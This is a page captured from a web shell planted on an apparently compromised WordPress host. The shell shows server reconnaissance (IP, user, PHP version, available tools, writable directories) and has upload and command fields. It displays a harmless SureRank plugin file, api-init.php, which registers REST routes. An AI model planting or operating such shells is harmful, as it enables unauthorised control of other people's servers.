Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/api/api-init.php
<?php
/**
 * Initialize API.
 *
 * @package SureRank\Inc\API
 * @since 1.0.0
 */

namespace SureRank\Inc\API;

use SureRank\Inc\Traits\Get_Instance;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Api_Init
 *
 * @since 1.0.0
 */
class Api_Init {
	use Get_Instance;

	/**
	 * Constructor
	 *
	 * @since 1.0.0
	 */
	private function __construct() {
		// Register REST API routes.
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
	}

	/**
	 * Register API routes.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function register_routes() {
		$controllers = [
			'\SureRank\Inc\API\Admin',
			'\SureRank\Inc\API\Post',
			'\SureRank\Inc\API\Install_Products',
			'\SureRank\Inc\API\Term',
			'\SureRank\Inc\API\User_Seo',
			'\SureRank\Inc\API\Onboarding',
			'\SureRank\Inc\API\Analyzer',
			'\SureRank\Inc\API\Migrations',
			'\SureRank\Inc\API\Import_Export_Settings',
			'\SureRank\Inc\API\Sitemap',
			'\SureRank\Inc\API\RobotsTxt',
			'\SureRank\Inc\API\Stock_Images',
			'\SureRank\Inc\API\Learn',
		];

		$controllers = apply_filters( 'surerank_api_controllers', $controllers );

		foreach ( $controllers as $controller_class ) {
			if ( class_exists( $controller_class ) ) {
				$controller = $controller_class::get_instance();
				$controller->register_routes();
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit